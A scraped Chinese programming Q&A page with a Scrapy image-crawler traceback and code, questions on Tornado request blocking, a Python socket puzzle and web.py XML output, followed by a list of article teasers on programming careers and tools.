'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware', 'scrapy.downloadermiddlewares.retry.RetryMiddleware', 'scrapy.downloadermiddlewares.redirect.MetaRefreshMiddleware', 'scrapy.downloadermiddlewares.httpcompression.HttpCompressionMiddleware', 'scrapy.downloadermiddlewares.redirect.RedirectMiddleware', 'scrapy.downloadermiddlewares.cookies.CookiesMiddleware', 'scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware', 'scrapy.downloadermiddlewares.stats.DownloaderStats'] 2020-02-07 09:24:56 [scrapy.middleware] INFO: Enabled spider middlewares: ['scrapy.spidermiddlewares.httperror.HttpErrorMiddleware', 'scrapy.spidermiddlewares.offsite.OffsiteMiddleware', 'scrapy.spidermiddlewares.referer.RefererMiddleware', 'scrapy.spidermiddlewares.urllength.UrlLengthMiddleware', 'scrapy.spidermiddlewares.depth.DepthMiddleware'] Unhandled error in Deferred: 2020-02-07 09:24:56 [twisted] CRITICAL: Unhandled error in Deferred: Traceback (most recent call last): File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 184, in crawl return self._crawl(crawler, *args, **kwargs) File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 188, in _crawl d = crawler.crawl(*args, **kwargs) File "e:\python3.7\lib\site-packages\twisted\internet\defer.py", line 1613, in unwindGenerator return _cancellableInlineCallbacks(gen) File "e:\python3.7\lib\site-packages\twisted\internet\defer.py", line 1529, in _cancellableInlineCallbacks _inlineCallbacks(None, g, status) --- <exception caught here> --- File "e:\python3.7\lib\site-packages\twisted\internet\defer.py", line 1418, in _inlineCallbacks result = g.send(result) File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 86, in crawl self.engine = self._create_engine() File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 111, in _create_engine return ExecutionEngine(self, lambda _: self.stop()) File "e:\python3.7\lib\site-packages\scrapy\core\engine.py", line 70, in __init__ self.scraper = Scraper(crawler) File "e:\python3.7\lib\site-packages\scrapy\core\scraper.py", line 71, in __init__ self.itemproc = itemproc_cls.from_crawler(crawler) File "e:\python3.7\lib\site-packages\scrapy\middleware.py", line 53, in from_crawler return cls.from_settings(crawler.settings, crawler) File "e:\python3.7\lib\site-packages\scrapy\middleware.py", line 34, in from_settings mwcls = load_object(clspath) File "e:\python3.7\lib\site-packages\scrapy\utils\misc.py", line 46, in load_object mod = import_module(module) File "e:\python3.7\lib\importlib\__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "<frozen importlib._bootstrap>", line 1006, in _gcd_import File "<frozen importlib._bootstrap>", line 983, in _find_and_load File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked File "<frozen importlib._bootstrap>", line 677, in _load_unlocked File "<frozen importlib._bootstrap_external>", line 724, in exec_module File "<frozen importlib._bootstrap_external>", line 860, in get_code File "<frozen importlib._bootstrap_external>", line 791, in source_to_code File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed builtins.SyntaxError: unexpected EOF while parsing (pipelines.py, line 22) 2020-02-07 09:24:56 [twisted] CRITICAL: Traceback (most recent call last): File "e:\python3.7\lib\site-packages\twisted\internet\defer.py", line 1418, in _inlineCallbacks result = g.send(result) File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 86, in crawl self.engine = self._create_engine() File "e:\python3.7\lib\site-packages\scrapy\crawler.py", line 111, in _create_engine return ExecutionEngine(self, lambda _: self.stop()) File "e:\python3.7\lib\site-packages\scrapy\core\engine.py", line 70, in __init__ self.scraper = Scraper(crawler) File "e:\python3.7\lib\site-packages\scrapy\core\scraper.py", line 71, in __init__ self.itemproc = itemproc_cls.from_crawler(crawler) File "e:\python3.7\lib\site-packages\scrapy\middleware.py", line 53, in from_crawler return cls.from_settings(crawler.settings, crawler) File "e:\python3.7\lib\site-packages\scrapy\middleware.py", line 34, in from_settings mwcls = load_object(clspath) File "e:\python3.7\lib\site-packages\scrapy\utils\misc.py", line 46, in load_object mod = import_module(module) File "e:\python3.7\lib\importlib\__init__.py", line 127, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "<frozen importlib._bootstrap>", line 1006, in _gcd_import File "<frozen importlib._bootstrap>", line 983, in _find_and_load File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked File "<frozen importlib._bootstrap>", line 677, in _load_unlocked File "<frozen importlib._bootstrap_external>", line 724, in exec_module File "<frozen importlib._bootstrap_external>", line 860, in get_code File "<frozen importlib._bootstrap_external>", line 791, in source_to_code File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed File "E:\python_work\爬虫\meizitu\meizitu\pipelines.py", line 22 f.write(data) ^ SyntaxError: unexpected EOF while parsing 代码如下: pipeline ``` import requests class MeizituPipeline(object): def process_item(self, item, spider): print("main_title:",item['main_title']) print("main_image:", item['main_image']) print("main_tags:", item['main_tags']) print("main_meta:", item['main_meta']) print("page:", item['main_pagenavi']) url = requests.get(item['main_image']) print(url) try: with open(item['main_pagenavi'] +'.jpg','wb') as f: data = url.read() f.write(data) ``` image.py ``` import scrapy from scrapy.http import response from ..items import MeizituItem class ImageSpider(scrapy.Spider): #定义Spider的名字scrapy crawl meiaitu name = 'SpiderMain' #允许爬虫的域名 allowed_domains = ['www.mzitu.com/203554'] #爬取的首页列表 start_urls = ['https://www.mzitu.com/203554'] #负责提取response的信息 #response代表下载器从start_urls中的url的到的回应 #提取的信息 def parse(self,response): #遍历所有节点 for Main in response.xpath('//div[@class = "main"]'): item = MeizituItem() #匹配所有节点元素/html/body/div[2]/div[1]/div[3]/p/a content = Main.xpath('//div[@class = "content"]') item['main_title'] = content.xpath('./h2/text()') item['main_image'] = content.xpath('./div[@class="main-image"]/p/a/img') item['main_meta'] = content.xpath('./div[@class="main-meta"]/span/text()').extract() item['main_tags'] = content.xpath('./div[@class="main-tags"]/a/text()').extract() item['main_pagenavi'] = content.xpath('./div[@class="main_pagenavi"]/span/text()').extract_first() yield item new_links = response.xpath('.//div[@class="pagenavi"]/a/@href').extract() new_link =new_links[-1] yield scrapy.Request(new_link,callback=self.parse) ``` setting ``` BOT_NAME = 'meizitu' SPIDER_MODULES = ['meizitu.spiders'] NEWSPIDER_MODULE = 'meizitu.spiders' ROBOTSTXT_OBEY = True #配置默认请求头 DEFAULT_REQUEST_HEADERS = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36", 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } ITEM_PIPELINES = { 'meizitu.pipelines.MeizituPipeline':300, } IMAGES_STORE = 'E:\python_work\爬虫\meizitu' IMAGES_MIN_HEIGHT = 1050 IMAGES_MIN_WIDTH = 700 ```
tornado 请求相同url阻塞
先贴代码 ``` import time from tornado.gen import coroutine from tornado.httpclient import AsyncHTTPClient from tornado.ioloop import IOLoop from tornado.web import Application, RequestHandler class MainHandler(RequestHandler): @coroutine def get(self): client = AsyncHTTPClient() urls = ['http://www.baidu.com'] * 20 start = time.time() yield [client.fetch(url) for url in urls] print(time.time() - start) def make_app(): return Application([(r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) IOLoop.current().start() ``` 我通过浏览器访问http://localhost:8888/ ,get方法中请求了相同的链接50次,但是发现所花费的时间是所有请求耗时的总和。百度了发现请求相同的链接会阻塞,但是没找到解决方案。 试了在链接后面加上不同的参数,结果还是阻塞的。 请问各位大佬有解决方案吗?
关于Python的有趣问题,求解答
以下是一段Python的代码,这段代码产生了两个子线程用两个socket向两个地址发送了http请求并接收响应。 但这段代码中存在至少3处bug,导致程序无法正常运行。请找出并改正。如果运行正确,答案将在程序输出的第一行。 # Designed by 叁拾柒. import socket import threading sockets = [socket.socket()] * 2 something = [chr(x) for x in [115, 83, 58, 58, 115, 84, 97, 50, 51, 51]] def get(sock, url): sock.connect((url, 80)) sock.send(b"GET / HTTP/1.1\r\n\r\n") print(sock.recv(1024)) threads = [threading.Thread(target=lambda: get(sock, url)) for sock, url in zip(sockets, ("www.sssta.org" , "tobiaslee.top"))] print ''.join(something[:3]), for i in threads: i.run() something.insert(7, '呀') print '\b'+''.join(something[3:8])
现在有一个手机客户端应用,服务端用python+webpy,给客户端返回数据使用的是xml,怎么生成这个xml并发送啊????
过程是这样的: 第一步:客户端发送一个url,这个url带参数,我根据这个参数进行下一步工作 第二步:接受这个参数webpy的GET(),利用得到的参数从数据库中取出数据,放在一个字典中results 第三步:生成xml(这一步用的是官方文档中的例子[url]http://webpy.org/cookbook/xmlfiles.zh-cn[/url]),完成向xml注入数据 到此我的工作完成了。在浏览器环境下访问也可以得到注入数据的xml文件。 部署到服务器以后,在浏览器请求,返回注入数据的xml,[color=red][b]但是在手机客户端发送请求,返回的就是空的xml,就是说没有注入数据???????[/b][/color]这是为什么????客户端的同事说,服务器刷新了两次?把第一次的数据刷掉了????是这个情况吗?怎么解决???求大牛!!!!
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
在中国程序员是青春饭吗?
今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...
《MySQL 性能优化》之理解 MySQL 体系结构
本文介绍 MySQL 的体系结构,包括物理结构、逻辑结构以及插件式存储引擎。
python自动下载图片
近日闲来无事,总有一种无形的力量萦绕在朕身边,让朕精神涣散,昏昏欲睡。 可是,像朕这么有职业操守的社畜怎么能在上班期间睡瞌睡呢,我不禁陷入了沉思。。。。 突然旁边的IOS同事问:‘嘿,兄弟,我发现一个网站的图片很有意思啊,能不能帮我保存下来提升我的开发灵感?’ 作为一个坚强的社畜怎么能说自己不行呢,当时朕就不假思索的答应:‘oh, It’s simple. Wait for me for a ...
一名大专同学的四个问题
【前言】   收到一封来信,赶上各种事情拖了几日,利用今天要放下工作的时机,做个回复。   2020年到了,就以这一封信,作为开年标志吧。 【正文】   您好,我是一名现在有很多困惑的大二学生。有一些问题想要向您请教。   先说一下我的基本情况,高考失利,不想复读,来到广州一所大专读计算机应用技术专业。学校是偏艺术类的,计算机专业没有实验室更不用说工作室了。而且学校的学风也不好。但我很想在计算机领...
复习一周,京东+百度一面,不小心都拿了Offer
京东和百度一面都问了啥,面试官百般刁难,可惜我全会。
达摩院十大科技趋势发布:2020 非同小可!
【CSDN编者按】1月2日,阿里巴巴发布《达摩院2020十大科技趋势》,十大科技趋势分别是:人工智能从感知智能向认知智能演进;计算存储一体化突破AI算力瓶颈;工业互联网的超融合;机器间大规模协作成为可能;模块化降低芯片设计门槛;规模化生产级区块链应用将走入大众;量子计算进入攻坚期;新材料推动半导体器件革新;保护数据隐私的AI技术将加速落地;云成为IT技术创新的中心 。 新的画卷,正在徐徐展开。...
轻松搭建基于 SpringBoot + Vue 的 Web 商城应用
首先介绍下在本文出现的几个比较重要的概念: 函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API ...
Python+OpenCV实时图像处理
目录 1、导入库文件 2、设计GUI 3、调用摄像头 4、实时图像处理 4.1、阈值二值化 4.2、边缘检测 4.3、轮廓检测 4.4、高斯滤波 4.5、色彩转换 4.6、调节对比度 5、退出系统 初学OpenCV图像处理的小伙伴肯定对什么高斯函数、滤波处理、阈值二值化等特性非常头疼,这里给各位分享一个小项目,可通过摄像头实时动态查看各类图像处理的特点,也可对各位调参、测试...
2020年一线城市程序员工资大调查
人才需求 一线城市共发布岗位38115个,招聘120827人。 其中 beijing 22805 guangzhou 25081 shanghai 39614 shenzhen 33327 工资分布 2020年中国一线城市程序员的平均工资为16285元,工资中位数为14583元,其中95%的人的工资位于5000到20000元之间。 和往年数据比较: yea...
为什么猝死的都是程序员,基本上不见产品经理猝死呢?
相信大家时不时听到程序员猝死的消息,但是基本上听不到产品经理猝死的消息,这是为什么呢? 我们先百度搜一下:程序员猝死,出现将近700多万条搜索结果: 搜索一下:产品经理猝死,只有400万条的搜索结果,从搜索结果数量上来看,程序员猝死的搜索结果就比产品经理猝死的搜索结果高了一倍,而且从下图可以看到,首页里面的五条搜索结果,其实只有两条才是符合条件。 所以程序员猝死的概率真的比产品经理大,并不是错...
害怕面试被问HashMap?这一篇就搞定了!
声明:本文以jdk1.8为主! 搞定HashMap 作为一个Java从业者,面试的时候肯定会被问到过HashMap,因为对于HashMap来说,可以说是Java集合中的精髓了,如果你觉得自己对它掌握的还不够好,我想今天这篇文章会非常适合你,至少,看了今天这篇文章,以后不怕面试被问HashMap了 其实在我学习HashMap的过程中,我个人觉得HashMap还是挺复杂的,如果真的想把它搞得明明白...
毕业5年,我问遍了身边的大佬,总结了他们的学习方法
我问了身边10个大佬,总结了他们的学习方法,原来成功都是有迹可循的。
python爬取百部电影数据,我分析出了一个残酷的真相
2019年就这么匆匆过去了,就在前几天国家电影局发布了2019年中国电影市场数据,数据显示去年总票房为642.66亿元,同比增长5.4%;国产电影总票房411.75亿元,同比增长8.65%,市场占比 64.07%;城市院线观影人次17.27亿,同比增长0.64%。 看上去似乎是一片大好对不对?不过作为一名严谨求实的数据分析师,我从官方数据中看出了一点端倪:国产票房增幅都已经高达8.65%了,为什...
推荐10个堪称神器的学习网站
每天都会收到很多读者的私信,问我:“二哥,有什么推荐的学习网站吗?最近很浮躁,手头的一些网站都看烦了,想看看二哥这里有什么新鲜货。” 今天一早做了个恶梦,梦到被老板辞退了。虽然说在我们公司,只有我辞退老板的份,没有老板辞退我这一说,但是还是被吓得 4 点多都起来了。(主要是因为我掌握着公司所有的核心源码,哈哈哈) 既然 4 点多起来,就得好好利用起来。于是我就挑选了 10 个堪称神器的学习网站,推...
这些软件太强了,Windows必装!尤其程序员!
Windows可谓是大多数人的生产力工具,集娱乐办公于一体,虽然在程序员这个群体中都说苹果是信仰,但是大部分不都是从Windows过来的,而且现在依然有很多的程序员用Windows。 所以,今天我就把我私藏的Windows必装的软件分享给大家,如果有一个你没有用过甚至没有听过,那你就赚了????,这可都是提升你幸福感的高效率生产力工具哦! 走起!???? NO、1 ScreenToGif 屏幕,摄像头和白板...
阿里面试,面试官没想到一个ArrayList,我都能跟他扯半小时
我是真的没想到,面试官会这样问我ArrayList。
曾经优秀的人,怎么就突然不优秀了。
职场上有很多辛酸事,很多合伙人出局的故事,很多技术骨干被裁员的故事。说来模板都类似,曾经是名校毕业,曾经是优秀员工,曾经被领导表扬,曾经业绩突出,然而突然有一天,因为种种原因,被裁员了,...
大学四年因为知道了这32个网站,我成了别人眼中的大神!
依稀记得,毕业那天,我们导员发给我毕业证的时候对我说“你可是咱们系的风云人物啊”,哎呀,别提当时多开心啦????,嗯,我们导员是所有导员中最帅的一个,真的???? 不过,导员说的是实话,很多人都叫我大神的,为啥,因为我知道这32个网站啊,你说强不强????,这次是绝对的干货,看好啦,走起来! PS:每个网站都是学计算机混互联网必须知道的,真的牛杯,我就不过多介绍了,大家自行探索,觉得没用的,尽管留言吐槽吧???? 社...
良心推荐,我珍藏的一些Chrome插件
上次搬家的时候,发了一个朋友圈,附带的照片中不小心暴露了自己的 Chrome 浏览器插件之多,于是就有小伙伴评论说分享一下我觉得还不错的浏览器插件。 我下面就把我日常工作和学习中经常用到的一些 Chrome 浏览器插件分享给大家,随便一个都能提高你的“生活品质”和工作效率。 Markdown Here Markdown Here 可以让你更愉快的写邮件,由于支持 Markdown 直接转电子邮...
看完这篇HTTP,跟面试官扯皮就没问题了
我是一名程序员,我的主要编程语言是 Java,我更是一名 Web 开发人员,所以我必须要了解 HTTP,所以本篇文章就来带你从 HTTP 入门到进阶,看完让你有一种恍然大悟、醍醐灌顶的感觉。 最初在有网络之前,我们的电脑都是单机的,单机系统是孤立的,我还记得 05 年前那会儿家里有个电脑,想打电脑游戏还得两个人在一个电脑上玩儿,及其不方便。我就想为什么家里人不让上网,我的同学 xxx 家里有网,每...
史上最全的IDEA快捷键总结
现在Idea成了主流开发工具,这篇博客对其使用的快捷键做了总结,希望对大家的开发工作有所帮助。
C++(数据结构与算法):62---搜索树(二叉搜索树、索引二叉搜索树)
一、搜索树的复杂度分析 本文考察二叉搜索树和索引二叉搜索树 二叉搜索树的渐进性能可以和跳表媲美: 查找、插入、删除操作所需的平均时间为Θ(logn) 查找、插入、删除操作的最坏情况的时间为Θ(n) 元素按升序输出时所需时间为Θ(n) 虽然在最坏情况下的查找、插入、删除操作,散列表和二叉搜索树的时间性能相同,但是散列表在最好的情况下具有超级性能Θ(1) 不过,对于一个指定的关键...
阿里程序员写了一个新手都写不出的低级bug,被骂惨了。
这种新手都不会范的错,居然被一个工作好几年的小伙子写出来,差点被当场开除了。
谁是华为扫地僧?
是的,华为也有扫地僧!2020年2月11-12日,“养在深闺人不知”的华为2012实验室扫地僧们,将在华为开发者大会2020(Cloud)上,和大家见面。到时,你可以和扫地僧们,吃一个洋...
AI 没让人类失业,搞 AI 的人先失业了
最近和几个 AI 领域的大佬闲聊 根据他们讲的消息和段子 改编出下面这个故事 如有雷同 都是巧合 1. 老王创业失败,被限制高消费 “这里写我跑路的消息实在太夸张了。” 王葱葱哼笑一下,把消息分享给群里。 阿杰也看了消息,笑了笑。在座几位也都笑了。 王葱葱是个有名的人物,21岁那年以全额奖学金进入 KMU 攻读人工智能博士,累计发表论文 40 余篇,个人技术博客更是成为深度学习领域内风向标。 ...
2020年,冯唐49岁:我给20、30岁IT职场年轻人的建议
点击“技术领导力”关注∆每天早上8:30推送 作者|Mr.K 编辑| Emma 来源|技术领导力(ID:jishulingdaoli) 前天的推文《冯唐:职场人35岁以后,方法论比经验重要》,收到了不少读者的反馈,觉得挺受启发。其实,冯唐写了不少关于职场方面的文章,都挺不错的。可惜大家只记住了“春风十里不如你”、“如何避免成为油腻腻的中年人”等不那么正经的文章。 本文整理了冯...
最全最强!世界大学计算机专业排名总结!
我正在参与CSDN200进20,希望得到您的支持,扫码续投票5次。感谢您! (为表示感谢,您投票后私信我,我把我总结的人工智能手推笔记和思维导图发送给您,感谢!) 目录 泰晤士高等教育世界大学排名 QS 世界大学排名 US News 世界大学排名 世界大学学术排名(Academic Ranking of World Universities) 泰晤士高等教育世界大学排名 中国共...
作为一名大学生,如何在B站上快乐的学习?
B站是个宝,谁用谁知道???? 作为一名大学生,你必须掌握的一项能力就是自学能力,很多看起来很牛X的人,你可以了解下,人家私底下一定是花大量的时间自学的,你可能会说,我也想学习啊,可是嘞,该学习啥嘞,不怕告诉你,互联网时代,最不缺的就是学习资源,最宝贵的是啥? 你可能会说是时间,不,不是时间,而是你的注意力,懂了吧! 那么,你说学习资源多,我咋不知道,那今天我就告诉你一个你必须知道的学习的地方,人称...
那些年,我们信了课本里的那些鬼话
教材永远都是有错误的,从小学到大学,我们不断的学习了很多错误知识。 斑羚飞渡 在我们学习的很多小学课文里,有很多是错误文章,或者说是假课文。像《斑羚飞渡》: 随着镰刀头羊的那声吼叫,整个斑羚群迅速分成两拨,老年斑羚为一拨,年轻斑羚为一拨。 就在这时,我看见,从那拨老斑羚里走出一只公斑羚来。公斑羚朝那拨年轻斑羚示意性地咩了一声,一只半大的斑羚应声走了出来。一老一少走到伤心崖,后退了几步,突...
一个程序在计算机中是如何运行的?超级干货!!!
强烈声明:本文很干,请自备茶水!???? 开门见山,咱不说废话! 你有没有想过,你写的程序,是如何在计算机中运行的吗?比如我们搞Java的,肯定写过这段代码 public class HelloWorld { public static void main(String[] args) { System.out.println("Hello World!"); } ...
立即提问